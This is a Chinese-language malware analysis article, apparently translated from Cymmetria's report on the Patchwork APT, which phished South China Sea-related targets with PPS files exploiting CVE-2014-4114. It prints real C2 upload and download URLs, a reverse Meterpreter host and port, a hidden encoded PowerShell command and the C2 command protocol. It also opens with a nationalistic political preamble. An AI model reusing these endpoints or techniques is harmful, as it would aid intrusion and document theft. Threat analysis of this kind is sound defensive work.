脚本攻防

关注公众号 jb51net

关闭
网络安全 > 脚本攻防 >

中国南海和东南亚问题相关的网络攻击组织 捕获Patchwork APT攻击

脚本之家

南海仲裁这样的闹剧昨天还是宣布了一个可笑的判决,我泱泱大国昨天在海南广东等地派出的各种军队战舰证明这次我们可不是说着玩玩。“若有战,召必回”湿了多少人的眼眶。这边,黑客军团里,也开始借南海问题各种攻击。

2016-07-08_163643.jpg

最近,一个与东南亚和中国南海问题相关的APT攻击被发现,该APT攻击以包括美国在内的各国政府和公司为目标 。经安全专家分析,该APT攻击所使用的全部工具代码都是通过 复制-粘贴 互联网公开代码组合而成,相对于其它APT特有的攻击工具而言,比较独特。

Southeast-Asia-680x400.jpg

Cymmetria发现并发布了此APT攻击的分析报告,由于其代码来源于多个网络论坛和网站,如Github、暗网和隐秘的犯罪论坛等,故把其命名为Patchwork APT 攻击(Patchwork:拼凑物)。

一、报告综述

Patchwork APT自2015年12月被监测到之后,目前已经感染了大约2500台电脑,虽有迹象表明其最早活动可追溯至2014年,但Cymmetria并未第一时间发现。

Patchwork APT针对的目标是军事和政治机构,特别是那些与东南亚和南海问题相关的工作机构雇员,目标多是政府或与政府有间接联系的机构。

在存活的受害者系统上,Patchwork APT通过搜索文档并上传至其C&C服务器,如果目标主机非常有价值,Patchwork APT还会进一步安装第二阶段渗透工具。

以下为PatchworkAPT 的攻击时间范围:

图片2.jpg 

二、调查

1 概述

该APT攻击于今年5月在针对欧洲政府部门的一起钓鱼活动中被发现,攻击目标为一个中国政策研究机构的工作人员,其以PPT文档为诱饵发起网络攻击,文档内容为中国在南海的一系列活动

图片6.png

当PPT文档被打开后,嵌入执行CVE-2014-4114漏洞代码,这个漏洞存在于未打补丁的 Office PowerPoint 2003 和2007中,漏洞利用代码曾被发起了名为 Sandworm的APT 攻击。

一旦漏洞代码开始执行,第一阶段为部署攻击载体:一个利用AutoIt工具编译的脚本。这个脚本使用某网络论坛出现的名为UACME方法和代码来绕过系统UAC。

图片7.png

获得更高权限之后,以Meterpreter方式执行powersploit 脚本,(Meterpreter是著名的metasploit框架远控工具)

下一阶段,开始对文档和目标主机价值进行筛选判断,如果目标足够有价值,攻击者再次部署第二阶段攻击模块,涉及到的攻击工具也大多来源于知名论坛或网络资源。以下为其攻击感染流程:

图片8.png

2 以蜜罐方式发现攻击者

为了捕获攻击者发起的第二阶段攻击程序,观察其在内网中的渗透活动,我们创建了一个真实网络环境,这个环境让攻击者觉得他们已经成功获取了主机权限。

零星的诱饵数据可以让攻击者向另一主机转移,这些数据可以是存储凭据,共享文件夹、浏览器cookies,VPN配置等其它信息。最终我们利用了Cymmetria’s MazeRunner 系统成功捕获了攻击者的活动。

3 开始

如前所述,为了保证攻击者的攻击持续处于活动状态,我们虚构了对攻击者来说非常感兴趣的目标:一位处理安全问题的政府智库人员。

创建欺骗网络

• 首先,创建SMB共享,映射到目标电脑并显示网络备份;

• 其次,把一个运行云端服务的RDP凭据存放于电脑中,同时在远程云端系统中部署欺骗数据,形成蜜罐系统,同时造成正常服务的假象。

图片9.png

蜜罐文件系统

图片10.png

用 RDP凭据引向蜜罐系统

4 一连串的事件

(1) 当一个 PowerPoint PPS文件被打开之后,释放有效攻击载荷。即CVE-2014-4114漏洞利用代码(曾用作SandWorm沙虫攻击)。

图片11.png

释放的Driver.inf 文件内容

(2)  主机被以下可执行文件感染:

         • sysvolinfo.exe   – 执行编译脚本.

        • PowerShell 以 HTTPS Meterpreter方式执行攻击脚本 ,同时保持与C2控制服务器连接,发起以下网络请求:


(3)  目标电脑上的文件被攻击者以加密通道方式上传至远程控制服务器,由于Meterpreter的“sstagerverifysslcert”功能 开启,所以我们没有检测到相应的SSL通道;

(4) 攻击者释放第二阶段恶意软件7zip.exe,利用此程序扫描硬盘并连接远程IP地址  212.83.191.156。

(5)7zip.exe复制自身在C:\Windows\SysWOW64\目录下生成netvmon.exe文件,并添加进程序自启动路径,实现长期控制目的。

(6)在最初感染的前三天,攻击者开始对SMB共享文件夹发起访问;

(7)恶意软件开始访问映射共享,并扫描所有固定磁盘驱动器上的文件;

(8)在MazeRunner 系统的第一个警报产生之后,由于诱饵系统的IP地址被内置在RDP凭据文件里,所以,我们看到了攻击者试图利用RDP凭据连接诱饵系统的数据。警报提示攻击发起于

IP 212.129.7.146,整个攻击持续了12分钟;

(9)从我们收到Mazerunner的警报综合受害主机内的RDP连接文件表明,攻击者登录失败了几次,但让我们感兴趣的是,攻击者并没有使用系统密码获取工具Mimikatz。

(10)我们相信以上两起攻击连接发起于同一个攻击源,因为:

           • 攻击者用来连接我们蜜罐系统的两个IP地址都属于rev.poneytelecom.euf 域名;

          •  内部警报表明,两起攻击连接事件发生在同一天。

图片12.png

攻击发起的网络规划图

5 从攻击者C&C控制服务器中获得的信息

 我们通过另一个合作伙伴,成功地接手并控制了攻击者的一个C&C服务器,服务器中包含了大量文件:

•  种类多样的PPS文件–用作钓鱼攻击的恶意文件
•  大量的恶意代码包

而且这些钓鱼文件内容都与中国主题或色情性质相关,以下是一些样本文件:

2016-07-08_155208.jpg 

在C&C服务器中,我们还提取到了PPS文件的修改日期,这些日期从2015年12月持续到2016年1月。从日期上可以清晰看出攻击者准备和实施攻击的时间线。

图片13.png 

三、技术分析

工具部署

攻击载体:

图片14.png

攻击载体是一个以PPS为附件的网络钓鱼邮件,嵌入漏洞 CVE-2014-4114  的利用代码。漏洞利用代码执行之后释放可执行文件和Windows驱动程序描述文件INF。

攻击者把以下两个文件嵌入OLE实体中并释放到受害者主机:


DROPPER木马程序:

sysvolinfo.exe程序是攻击者第一阶段的有效载荷(另一个程序是uplv1032 .exe),其目的是为了提升权限、筛选数据,从网络下载执行powersploit发起的程序和命令。通过安装Meterpreter,攻击者可以在受感染主机内发起远程控制命令。

sysvolinfo.exe代码本身是利用编译工具AutoIt编译的,其代码的一个重要部分抄袭于黑客论坛“ indetectables ”。

C&C通信:

当黑客工具开始运行之后,第一步就是与C&C服务器进行确认连接,静待命令,以下就是对C&C连接协议的分析:


发起远程连接请求:

  --  http://212.129.13.110/dropper.php?profile=+ $ComputerID


用以下变量作为发送参数:

   --  ddager, r1, r2, r3, r4, r5, r6.


 返回变量和结果:

 --  “$sdata|$payload”


可用命令解释:

Command ID Command explanation
“1” 调试服务器远程状态如 “[+] ServFlag : Disabled” ,也可以什么都不做
“2” 如果此命令在之前没被执行过, 以PowerShell脚本方式执行: powershell -nop -wind hidden -noni -enc ” & $PAYLOAD
“3” 重置脚本内部状态,忽略先前执行的“2”号命令,再次执行“2”号命令。
“4” 退出脚本
“5” 以base64加密payload执行_emorhc function
“6” 以base64加密payload为变量执行_getnewver function
“7” 以base64加密payload为变量执行_instcust function
“8” 通过CMD方式执行base64加密payload ,把结果保存于r5

当受害主机状态命令发送到控制服务器后,黑客程序继续以“TotalSecurity”字符串目标扫描整个“Program Files”目录,这是“360 Total Security”安全软件的安装目录。(360 Total Security 是360的国际版)

黑客软件以”Baidu Software Update”为文件夹伪装自身进入系统启动目录(HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run)。然后,它又向控制服务器发送另一个命令,之后,开始扫描计算机中的所有固定驱动器磁盘,以寻找以下后缀名文件:


 之后上传所有文件至服务器:

http://212[.]129.13.110/update-request.php?profile= 


在对黑客工具进行反编译后,发现了其功能调用中包含了一个有趣的PDB文件:

“C:\Users\Kanishk\Documents\VisualStudio 2015\Projects\ConsoleApplication1\ConsoleApplication1\obj\Debug\ConsoleApplication1.pdb”


提权操作:

经过前阶段描述可知,攻击载体使用了WINDOWS7系统中尚未打补丁的UAC绕过漏洞(被称为UACME ),这可以让攻击者以管理员身份执行操作。

shellcode执行:

当AutoIt 脚本恶意软件从 $sdata 中接收到“2”号命令的心跳后(这似乎是最常见的情况),便以base64加密方式执行命令:

 powershell -nop -wind hidden -noni -enc


我们观察到base64加密的payload是powershell脚本方式的shellcode,通过Meterpreter 进行https反向远程连接。

 反向HTTPS Meterpreter 连接:

AutoIt脚本提权并执行一个PowerShell的反向Meterpreter 连接脚本,而且这个脚本看起来是通过一个在线博客复制而来的

Meterpreter用以下参数进行连接:


图片15.png 

第二阶段的攻击载体:

该阶段的攻击工具只有在攻击者执行Meterpreter连接,并确定目标主机具有价值之后,才会运行部署。我们发现这个攻击载体为7zip.exe,但它有时候也为ndcrypt.exe和nd.exe。

图片16.png

7zip.exe 16 进制代码

这个程序的很多代码都来源于GitHub的一个公开代码库 。

脱壳之后,程序模块执行以下动作:

(1)为了在电脑关机或重启之后能继续保持入侵状态,攻击载体程序在系统目录下复制自身并重命名为netmon.exe,并以自启动服务 Net Monitor 运行。

                       C:\Windows\SysWOW64\netmon.exe     — 以 7zip.exe/netmon.exe 运行的64位程序;

(2)执行一个固定磁盘的扫描线程和文件筛选程序(但不会搜索网络驱动器和USB设备)

          • 另一个线程执行文件上传功能:         

  http://212[.]83.191.156/http/up.php.


         • 另一个线程下载可执行文件:

  http://212[.]83.191.156/http/down.php 


四、其它属性

1 PPS文件时间编辑分析:

 经过对PPS文件的提取分析发现,这些PPS文件在一天当中的不同时段都被经过修改:

图片17.png

2 C&C 远程控制服务器活动时间:

C&C服务器的活动不仅在于单独的几个小时之间,还在于每周的每天,通过对每天的时间区间进行描述之后,我们可以发现不同的模式,例如,每周的周日活动较多,周六较少。另外,攻击活动不早于凌晨2点,不晚于上午11点,除了某个周日之外。“攻击工作时间”图如下:

图片18.png 

域名注册时间:

攻击活动使用的恶意域名注册时间只在每周的特定几天,而且注册时间都介于凌晨3点到下午15点之间:

图片19.png


五、总结:

Patchwork APT 是一个非常成功的有针对性的网络攻击,令人惊讶的是自去年12月之前,它一直未被发现。

其高度复杂的操作与其具有的低技术含量形成鲜明的矛盾对比,避免昂贵的开发工具而选择开源低廉的代码作为渗透工具,这也许是一种攻击趋势,也是一种避免被发现的手段;

根据我们所掌握的信息,攻击者有可能是亲印度或印度人。但就像我们的CEO Gadi Gadi Evron在内部讨论时所说的:“也有另一种可能性,有可能是其他伪装成印度人的攻击者,因为在网络世界里,好像根本就没有任何确切的证据来支撑说明,这只是我们自己的观点。”

不像其它国家发起的APT攻击,印度的网络间谍活动一直都处于平静状态,如果攻击者确实是亲印度或印度人,那么这是非常值得注意的情况。

***** 文章根据Cymmetria 报告原文编译:Cymmetria - Unveiling_Patchwork

*****后记:在Cymmetria发布分析报告的同时,卡巴斯基实验室也发布了名为《Dropping Elephant网络犯罪组织肆意攻击多国政府和外交机构》的报告,报告中命名的Dropping Elephant APT 与Cymmetria发现的 Patchwork APT 高度相似。

       • LHOST=45.43.192.172

       • LPORT=8443 

*.doc

*.pdf

*.csv

*.ppt

*.docx

*.pst

*.xls

*.xlsx

*.pptx 

属性:

ComputerID=BASE64ENCODE(“$USERNAME@$COMPUTERNAME”)

ddager= Isstartup registry key added (Bool)

r1=BASE64ENCODE(result of OSVersion macro, e.g. WIN_7)

r2=BASE64ENCODE(result of OSArch macro, e.g. X64)

r3=BASE64ENCODE(trojan version, 1.1 in our sample)

r4=BASE64ENCODE(Does the SQLite database folder ( @UserProfileDir &“\AppData\Local\Google\Chrome\User Data\Default\”) exist (1) or not (0))

r5=BASE64ENCODE(stdout of last cmd command)

r6=BASE64ENCODE(1 if running as administrator, 0 if not)

   •  Driver.inf

   •  Sysvolinfo.exe

    http://212.129.13.110/dropper.php?profile=<base64of [username@computername]>

    https://45.43.192.172:8443/OxGN